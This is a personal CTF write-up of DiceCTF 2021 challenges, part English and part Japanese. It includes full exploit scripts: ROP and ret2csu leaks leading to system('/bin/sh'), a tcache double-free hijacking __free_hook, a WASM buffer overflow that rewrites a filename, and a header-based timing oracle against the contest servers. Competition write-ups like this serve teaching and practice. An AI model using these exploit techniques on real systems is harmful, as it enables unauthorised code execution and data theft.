I played DiceCTF 2021 in zer0pts and we got the 2nd place :dice:
I couldn't play it full-time because of my school stuff :sob: but I solved some challenges.
- [pwn 116pts] babyrop (163 solves)
- [pwn 149pts] flippidy (62 solves)
- [pwn 415pts] sourceless rust wasm pwn (5 solves)
- [rev 290pts] Guess the Vuln (14 solves)
- [quantum 436pts] quantum 1 (4 solves)
- [quantum 436pts] quantum 2 (4 solves)
[pwn 116pts] babyrop (163 solves)
Description: "FizzBuzz101: Who wants to write a ret2libc" Server: nc dicec.tf 31924 File: babyrop
"Who wants to write a ret2libc?" Absolutely.
We're given an x64-86 ELF file.
It has a simple buffer overflow vulnerability by gets
function.
The point of this task is that the program uses only write
function for the output.
Because of the small binary, there's no gadgets like pop rdx; ret;
which is required to prepare the third argument for write
.
There're some ways to solve this task and I used ret2csu this time.
At first, I leaked the address of write
and did a search for the version of the libc used in the remote server.
It turned out the server used libc-2.31.
After that is easy: Just call system("/bin/sh")
and done.
from ptrlib import * elf = ELF("./babyrop") #libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #sock = Process("./babyrop") libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so') sock = Socket("nc dicec.tf 31924") csu_popper = 0x4011ca csu_caller = 0x4011b0 rop_pop_rdi = 0x4011d3 payload = b'A' * 0x48 payload += flat([ csu_popper, 0, 1, 1, elf.got('write'), 0x8, elf.got('write'), csu_caller, 0xdeadbeef, 0, 0, 0, 0, 0, 0, elf.symbol('main') ], map=p64) assert not has_space(payload) sock.sendlineafter("Your name: ", payload) libc_base = u64(sock.recv(8)) - libc.symbol('write') logger.info('libc = ' + hex(libc_base)) payload = b'A' * 0x48 payload += flat([ rop_pop_rdi + 1, rop_pop_rdi, libc_base + next(libc.find('/bin/sh')), libc_base + libc.symbol('system') ], map=p64) sock.sendlineafter("Your name: ", payload) sock.interactive()
[pwn 149pts] flippidy (62 solves)
Description: See if you can flip this program into a flag :D Server: nc dicec.tf 31904 Files: flippidy, libc.so.6
This is a heap task. We can create a notebook and add some notes to it.
---------- FLIPPIDYDIPPILF ---------- In this very realistic scenario our protagonist (you!) finds himself in search of a notebook... That can flip itself! This notebook flips its pages very well. I hope it suits someone as powerful as you. Just give it the word, and the pages will reverse themselves! To get started, first tell us how big your notebook will be: 4 ----- Menu ----- 1. Add to your notebook 2. Flip your notebook! 3. Exit : 1 Index: 0 Content: Hello
The flip function reverses the array. In python syntax, the following process:
notes = notes[::-1]
Inside the flip function saves two notes temporarily and swap them from top to bottom, bottom to top. The original notes are freed and new notes are allocated.
When the size of the notebook is odd, however, the note located at the center of the array will be double-freed. As the server uses an older version of libc-2.27, we can abuse the tcache.
The problem is the program doesn't provide us with any functions that prints the data, which means we can't leak the address so far. Fortunately PIE is disabled.
Notice that the string values printed in the menu are located at the bss section.
So, we can overwrite them in order to leak the libc address. After that is straightforward.
from ptrlib import * def add(index, content): sock.sendlineafter(": ", "1") sock.sendlineafter("Index: ", str(index)) sock.sendlineafter("Content: ", content) def flip(): sock.sendlineafter(": ", "2") elf = ELF("./flippidy") libc = ELF("./libc.so.6") #sock = Socket("localhost", 9999) sock = Socket("nc dicec.tf 31904") sock.sendlineafter("will be: ", "3") add(1, p64(0x404020)) flip() payload = flat([ 0x404040, 0x404072, 0x4040a4, elf.got('printf'), 0x404020 # next ], map=p64) add(0, payload) sock.recvuntil("notebook!\n") libc_base = u64(sock.recvline()) - libc.symbol("printf") logger.info("libc = " + hex(libc_base)) add(0, "dummy") payload = flat([ 0x404040, 0x404072, 0x4040a4, elf.got('printf'), libc_base + libc.symbol('__free_hook') # next ], map=p64) add(0, payload) add(0, "/bin/sh\0") add(1, p64(libc_base + libc.symbol('system'))) flip() sock.interactive()
[pwn 415pts] sourceless rust wasm pwn (5 solves)
Description: I hope you like sourceless rust wasm pwn! Haha, just kidding, here's the source. ... what, did you think the other part was a joke too? Run with wasmtime ./wasmpwn.wasm --dir ./ Server: nc dicec.tf 31798 Files: wasm.rs, wasmpwn.wasm, excalibur.txt
We're given a WebAssembly binary compiled by Rust. The author also distributed the Rust source code, which was really nice!
We can create and delete some swords. There are 10 swords prepared at initialization, all of which cannot be deleted. The vulnerability lies in the "inspect" function, which works like a normal edit function.
fn inspect<'a>(stock: &'a mut [*mut dyn Sword], log: &mut [u8]) -> &'a mut [*mut dyn Sword] { println!("Which weapon do you want to inspect?"); let mut index = String::new(); prompt(); io::stdin() .read_line(&mut index) .expect("failed to read input."); let index: usize = index.trim().parse().expect("invalid input"); if !stock[index].is_null() { let log_s: String; let weapon: *mut dyn Sword = stock[index]; unsafe { log_s = (*weapon).inspect(); } if index >= 10 && log_s.len() > 256 { println!("Error: too big!"); process::exit(0); } unsafe { ptr::copy_nonoverlapping(log_s.as_ptr(), log.as_mut_ptr(), log_s.len()); } } else { println!("404 not found"); } return stock; }
copy_nonoverlapping
may write out of bounds.
However, our swords are put at the index larger than 10 and the following condition prevents us from causing the buffer overflow.
if index >= 10 && log_s.len() > 256 { println!("Error: too big!"); process::exit(0); }
We notice that the global index counter is calculated as an unsigned value of 8-bit.
fn forge<'a>(stock: &'a mut [*mut dyn Sword], c: &mut u8) -> &'a mut [*mut dyn Sword] {
This way we can put our swords at the index smaller than 11. (I thought Rust causes panic when integer overflow happens but actually it doesn't in the release mode!)
Now, what can we do with the buffer overflow?
Remember that the source code is compiled into a WebAssembly binary. As you know, WebAssembly uses an ancient security mechanism. Every region like the stack, heap, bss and even the constant value is writable.
There exists a function that prints the contents of a file named "excalibur.txt"
fn read_file() -> String { let src_file: &str = "excalibur.txt"; let mut src_file_handle: fs::File = fs::File::open(&src_file).expect(&format!("Could not open file: {}", &src_file)); let mut buf: String = String::new(); src_file_handle.read_to_string(&mut buf) .expect(&format!("Failed to read data from file: {}", &src_file)); return buf; }
So, we can overwrite the constant string "excaibur.txt" into something like "flag.txt" and read the content. Checking this value with gdb, it turned out the value was located hundreds of bytes forward from the overflow-able region.
I just abused the buffer overflow to modify "excalibur.txt" into "././/flag.txt".
import string import random from ptrlib import * def add(name): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", name) def delete(): sock.sendlineafter("> ", "2") def edit(index, desc): sock.sendlineafter("> ", "3") sock.sendlineafter("> ", str(index)) sock.sendlineafter("> ", desc) def view_stock(): sock.sendlineafter("> ", "4") def view_log(): sock.sendlineafter("> ", "5") #sock = Process(["wasmtime", "./wasmpwn.wasm", "--dir", "./"]) sock = Socket("nc dicec.tf 31798") for i in range(250): add("A") payload = b'HELLO!!!' # marker payload += b'A' * 0xf8 payload += flat([ 0x0000000200112750, 0x0000000000000002, 0x0000000200112750, 0x0000000000000002, 0x0000000100110150, 0x0011657000000000, # m 0x0000000000100068, 0x0000013100116760, # m 0x0000000000000131, 0x0000000500110050, 0x0000000000000005, 0x0000000400110050, 0x0000000000000004, 0x0000000000000000, 0x0000000500000000, 0x0000000800000006, 0x0000000700000004, 0x0000000100000008, 0x0000000900000001 ], map=p64) payload += b"A" * 0x40 payload += flat([ 0x0010005c00092009, 0x0010006200000006, 0x6373654400000001, 0x3a6e6f6974706972, 0x0010007400000020, 0x0010006200000009, 0x20756f5900000001, 0x2074636570736e69, 0x6e61682072756f79, 0x3f2e6b726f776964, 0x0000001c00100074, 0x696d646120756f59, 0x6220737469206572, 0x6e61202c6564616c, 0x732065746f6e2064, 0x676e696874656d6f, 0x73657265746e6920, 0x00003f2e676e6974, 0x0000003600100078, 0x742064656c696166, 0x692064616572206f, 0x7361772e7475706e, 0x0010010d73722e6d, ], map=p64) payload += p64(0x0000002800000007) + p32(0) payload += b'1. Forge a weapon?\0\0' + p64(0x0000001200100124) payload += b'2. Scrap a weapon?\0\0' + p64(0x0000001200100140) payload += b'3. Inspect a weapon?' + p64(0x000000140010015c) payload += b'4. View stock?\0\0' + p64(0x0000000e00100178) payload += b'5. View log?' + p64(0x0000000c00100170) # m payload += b'6. Exit?' + p64(0x0000000800100174) # m payload += b"What's the name of your new weapon??" payload += flat([ 0x0000002400100174, 0x000000070010010d, # m 0x0000000500000044, 0x0000000b656e6f4e, 0x0000000400000009, 0x0000000d0000000c, 0x00003f21656e6f44, 0x0000000600100208, ], map=p64) payload += b'You feel yourself unable to scrap these legendary artifacts, rusty though they may be.?\0' + p64(0x0000005700100218) payload += b'Which weapon do you want to inspect??\0\0\0' + p64(0x0000002500100278) payload += p64(0x000000070010010d) + p64(0x0000000500000066) payload += b'invalid input\0\0\0' + p64(0x000000070010010d) payload += p64(0x0000001800000069) + p64(0x000000070010010d) + p64(0x000000090000006b) payload += b'Error: too big!?' + p64(0x0000001000100278) payload += b'404 not found?\0\0' + p64(0x0000000e00100300) payload += p64(0x000000070010010d) + p64(0x0000000c00000072) payload += b'You recall the weapon you saw last.?' + p32(0x00100328) payload += p64(0x0010007800000024) + p64(0x0010006200000000) payload += p64(0x0010010d00000001) + p64(0x0000007e00000007) payload += p64(0x0000203e00000014) + p64(0x0000000200100374) payload += p64(0x000000070010010d) + p64(0x0000000500000009) #payload += b'excalibur.txt' payload += b'././/flag.txt' payload += b'Could not open file: \0\0' + p32(0x0010037d) payload += p64(0x0010010d00000015) payload += b'a' * 0x28 edit(0, payload) view_stock() sock.interactive()
Too busy to write full-writeup :P
なんかCTF終了後は卒研発表とかで忙しくて書く時間無かったので以下は適当writeup。
[rev 290pts] Guess the Vuln (14 solves)
HTTPサーバーが貰える。
ハンドラが別ファイルになっており、簡単にエンコードされて別のローカルIPに転送される。
理由は知らんけどそのファイルも貰えるのでデコードしてハンドラを読む。
結論から言うと、ハンドラはX-Payload
というヘッダを読み、そこをbrainfuckっぽい処理で実行する。
フラグのn文字目をテープに書き込む処理もあるのでtime based attackで1文字ずつリークできる。
import requests import threading def convert(code): return code.replace('>', 'l')\ .replace('<', 'h')\ .replace('+', 'k')\ .replace('-', 'j')\ .replace('[', '{')\ .replace(']', '}') oracle = { "0": "-[----->+<]>---.", "1": "-[----->+<]>--.", "2": "-[----->+<]>-.", "3": "-[----->+<]>.", "4": "-[----->+<]>+.", "5": "-[----->+<]>++.", "6": "-[----->+<]>+++.", "7": "-[----->+<]>++++.", "8": "+[--------->+<]>-.", "9": "+[--------->+<]>.", "a": "--[----->+<]>-----.", "b": "--[----->+<]>----.", "c": "--[----->+<]>---.", "d": "--[----->+<]>--.", "e": "--[----->+<]>-.", "f": "--[----->+<]>.", "g": "+[----->+++<]>.", "h": "+[----->+++<]>+.", "i": "+[----->+++<]>++.", "j": "+[----->+++<]>+++.", "k": "+[----->+++<]>++++.", "l": "+[------->++<]>--.", "m": "+[------->++<]>-.", "n": "+[------->++<]>.", "o": "+[------->++<]>+.", "p": "+[------->++<]>++.", "q": "+[------->++<]>+++.", "r": "+[--------->++<]>.", "s": "+[--------->++<]>+.", "t": "--------[-->+++<]>.", "u": "----[-->+++++<]>-.", "v": "----[-->+++++<]>.", "w": "------[-->+++<]>.", "x": "----[-->+++<]>--.", "y": "----[-->+++<]>-.", "z": "----[-->+++<]>.", "A": "----[---->+<]>++.", "B": "++++[++++>---<]>-.", "C": "++++[++++>---<]>.", "D": "++++[++++>---<]>+.", "E": "++++[++++>---<]>++.", "F": "-[------->+<]>---.", "G": "-[------->+<]>--.", "H": "-[------->+<]>-.", "I": "-[------->+<]>.", "J": "-[------->+<]>+.", "K": "-[------->+<]>++.", "L": "-[------->+<]>+++.", "M": "++[---------->+<]>.", "N": "-[--->+<]>-------.", "O": "-[--->+<]>------.", "P": "-[--->+<]>-----.", "Q": "-[--->+<]>----.", "R": "-[--->+<]>---.", "S": "-[--->+<]>--.", "T": "-[--->+<]>-.", "U": "-[--->+<]>.", "V": "+[--->++<]>.", "W": "+[--->++<]>+.", "X": "+[--->++<]>++.", "Y": "+[--->++<]>+++.", "Z": "+[--->++<]>++++.", "!": "++++[->++++++++<]>+.", '"': "--[------->++<]>--.", "#": "--[------->++<]>-.", "$": "--[------->++<]>.", "%": "+[------->+++<]>.", "&": "+[------->+++<]>+.", "'": "+[------->+++<]>++.", "(": "++[------>+<]>---.", ")": "++[------>+<]>--.", "*": "++[------>+<]>-.", "+": "++[------>+<]>.", ",": "++[------>+<]>+.", "-": "++[------>+<]>++.", ".": "++[------>+<]>+++.", "/": "-[----->+<]>----.", ":": "+[--------->+<]>+.", ";": "+[--------->+<]>++.", "<": "----[---->+<]>---.", "=": "----[---->+<]>--.", ">": "----[---->+<]>-.", "?": "----[---->+<]>.", "@": "----[---->+<]>+.", "[": "+[--->++<]>+++++.", "\\": "++++[--->+++++<]>.", "]": "+[--->++<]>+++++++.", "^": "+[--->++<]>++++++++.", "_": "+[--->++<]>+++++++++.", "`": "--[----->+<]>------.", "{": "--[-->+++++<]>.", "|": "--[-->+++<]>-.", "}": "--[-->+++<]>.", "~": "--[-->+<]>-.", " ": "++++[->++++++++<]>.", } # invert for key in oracle: s = oracle[key][:-1] pos = s.find(">") s = s[:pos] + s[pos:].replace("+", "X").replace("-", "+").replace("X", "-") oracle[key] = s # find def blackbox(pos, char): global candidate cmd = '>' + chr(0x30 + pos) + '<' + oracle[char] + '[]' r = requests.get('https://guess-the-vuln.dicec.tf/a', headers={ 'X-Payload': convert(cmd) }) if 'just guess' in r.text: candidate.append(char) import time # dice{obviously_just_brainf_in_header_in_options} flag = '' for i in range(32, 128): thlist = [] candidate = [] for char in oracle: th = threading.Thread(target=blackbox, args=(i, char)) th.start() thlist.append(th) time.sleep(0.1) for th in thlist: th.join() if len(candidate) == 0: print("Not Found :(") exit(1) flag += candidate[0] if len(candidate) > 1: print("[!] Multiple candidates") print(i, candidate) print(f"[+] {flag}")
[quantum 436pts] quantum 1 (4 solves)
誰がどう見てもshorのアルゴリズムが量子回路で実装されている。 ファイルがいっぱいあるけど、ほとんどは剰余累乗アルゴリズム。 initializeが入力受け付けとかで、finalizeが量子フーリエ変換で素因数分解の結果を取得する部分。 ということで残りがU(a2i)の計算なので、そこからNを逆算する。
暗号担当に聞いたらgcd使えと即答されたので使う。
でが分からないので確かにgcdでが求まる。
終わり。
import re def parse(x): a = 0 with open(f"circuit_parts/circuit_part_{x}.qasm", "r") as f: for line in f: if line.startswith("ccx "): r = re.findall("ccx q\[\d+\],q\[\d+\],q\[(\d+)\]", line) a |= 1 << (int(r[0]) - 384) else: break return a a = parse(0) b = parse(1) c = parse(2) k1N = a*a - b k2N = a*a*a*a - c N = gcd(k1N, k2N) print(N) p, q = factor(N) p = p[0] q = q[0] ciphertext = [0 for i in range(14)] ciphertext[0] = 45749875208794574 ciphertext[1] = 174236903665592715 ciphertext[2] = 92986020244906386 ciphertext[3] = 96036561989153081 ciphertext[4] = 172801515479555174 ciphertext[5] = 44641100244251515 ciphertext[6] = 3734906486773735 ciphertext[7] = 118982417340454121 ciphertext[8] = 174116556965592444 ciphertext[9] = 142609916776911323 ciphertext[10] = 23526131344477686 ciphertext[11] = 133653291044116991 ciphertext[12] = 40709263355256998 ciphertext[13] = 72092056193487302 e = 65537 d = inverse_mod(e, (p-1)*(q-1)) flag = b'' for c in ciphertext: m = power_mod(c, d, N) flag += int.to_bytes(int(m), 8, 'big') print(flag.replace(b'\x00', b''))
[quantum 436pts] quantum 2 (4 solves)
同じRSAの素因数分解回路が貰える。 ただの加算を使ってたのがbeauregardのアルゴリズムになり、draperの加算器が使われているというだけ。 ここでdraperの加算器のフーリエ変換処理が小さくて :thinking_face: になっていたが、よく見たら近似量子フーリエ変換してるだけだった。
Φ(b)は実際にはΦ(|0))で、そこでcontrolled phase shiftを使ってAQFTしている。 draperの加算器はフーリエ変換すれば加算が簡単で、その後逆フーリエ変換で戻せば良いよね、という単純な仕組みなので、AQFTとAQFT^-1の間に挟まれた部分の処理を見ればよい。 処理としてはW(2i * a)|x_i>|0>をしている。(剰余累乗が目的なので0を入れていることに注意。) まぁ確かに各加算の先頭でXゲートにかけて0を量産してる。 あとはmulti-controlled phase shiftしてる部分がaの加算になるので、そこを取り出してquantum 1と同じことをすれば良い。 誤差か何か知らんけど結果がおかしい部分もあったので、なんとなく結果を眺めて多数決で使う場所を決めた。
import re from math import pi def parse(idx, th=0): start = False cnt = 0 skip = 0 l = [0.0 for i in range(64)] with open(f"circuit_parts/circuit_z_{idx}.qasm", "r") as f: for line in f: if line.startswith("mcphase"): start = True r = re.findall("mcphase\((.+)\) .+,q\[(\d+)\];", line) l[int(r[0][1]) - 192] = eval(r[0][0]) cnt += 1 else: if start and skip == th: break elif start: start = False l = [0.0 for i in range(64)] skip += 1 cnt = 0 #assert len(lack) + cnt >= 64 # a*2*pi*i / 2^k = c t = 0 r = 0 for k in range(64): a = l[k]*2**k / (2*pi) b = (a-t) / 2**(k-1) r |= int(round(b)) << k t = a print(bin(r)) return r a = parse(0, 2) b = parse(1, 2) c = parse(2, 2) k1N = a^2 - b k2N = a^4 - c N = gcd(k1N, k2N) p, q = factor(N) p = p[0] q = q[0] e = 65537 ciphertext = [0 for i in range(18)] ciphertext[0] = 630739985092765888 ciphertext[1] = 451537334074008087 ciphertext[2] = 812262022692002523 ciphertext[3] = 406863754676316755 ciphertext[4] = 272957246833162198 ciphertext[5] = 837206587612398866 ciphertext[6] = 878206764376026653 ciphertext[7] = 74850042067302209 ciphertext[8] = 59941172768887381 ciphertext[9] = 692983716161578660 ciphertext[10] = 977024416743871440 ciphertext[11] = 683876226070993692 ciphertext[12] = 701015663373142030 ciphertext[13] = 603050347939059586 ciphertext[14] = 260768514508744742 ciphertext[15] = 454028599464670705 ciphertext[16] = 494565845408874731 ciphertext[17] = 425724750896288294 d = inverse_mod(e, (p-1)*(q-1)) flag = b'' for c in ciphertext: m = power_mod(c, d, N) flag += int.to_bytes(int(m), 8, 'big') print(flag.replace(b'\x00', b''))